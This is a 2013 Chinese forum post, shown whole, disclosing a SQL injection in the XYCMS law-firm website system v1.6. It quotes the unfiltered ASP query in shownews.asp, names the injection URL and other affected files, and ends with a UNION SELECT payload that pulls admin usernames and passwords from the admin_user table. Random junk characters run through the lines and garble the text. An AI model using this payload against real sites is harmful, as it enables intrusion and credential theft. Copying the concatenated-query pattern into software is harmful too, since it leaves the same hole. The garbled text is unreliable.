前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似5 t$ X3 F$ A2 w1 o5 p# g C* A
7 H) w9 g( Z8 \( B$ [8 `淫荡分割线
' @/ L$ M% y5 T8 s8 g# R-------------------------------------------------------- U9 s7 t8 n4 W% v1 q
! w4 v/ m! H. G
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)% c6 `3 Y6 [. X0 {6 w |6 u
源码地址:http://down.chinaz.com/soft/29233.htm f. f! E! m3 u8 }; z
/ d! T- y& ~/ B- @, r漏洞文件:shownews.asp- L7 y+ V' m' E; P8 C
漏洞代码：7-13行6 N+ j$ a+ l5 `3 W% U1 H T2 P
8 n- `) a2 Y; ~ / I3 H/ U6 K7 q2 j
<% ) M6 }, C2 ~8 x+ [& q9 {( u
id=request.QueryString("id")5 g7 J2 N: L) L/ A
% R0 d3 p0 u% s# X: o) }' Y
set snews=server.createobject("adodb.recordset") $ Z* m* ]5 k* q& B9 F* @
exec="select * from [news] where id="&id! j% q g! Y" C
snews.open exec,conn,1,1
`- R# B1 b, c0 {! ]5 H2 V$ p' N%>" |. s2 v9 h# \
! `0 x* F& ^8 E0 X9 P& G6 L
& _0 M& U( Z4 _4 v+ M0 L, g2 m什么过滤都没有 直造成注入% I2 [3 U7 [0 W+ n
) c, O- w- Z( p8 Z) |注入点:http://127.0.0.1:99/shownews.asp?id=xx/ [2 l" v a+ W0 M) Z7 j
/ d( d. u4 ?0 f* C7 `: h) q其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
" o; N) X- J" l5 \0 q2 \
9 B4 f2 F5 ?8 }+ W & ^% X( b3 \8 W' y* [
exp: union select 1,admin,password,4,5,7 from admin_user
# a; Z, w5 g0 ^9 h( Z8 f; k8 Y
4 f$ h+ k+ c# b2 | |
发表于 2013-4-4 17:28:12
收藏
支持
反对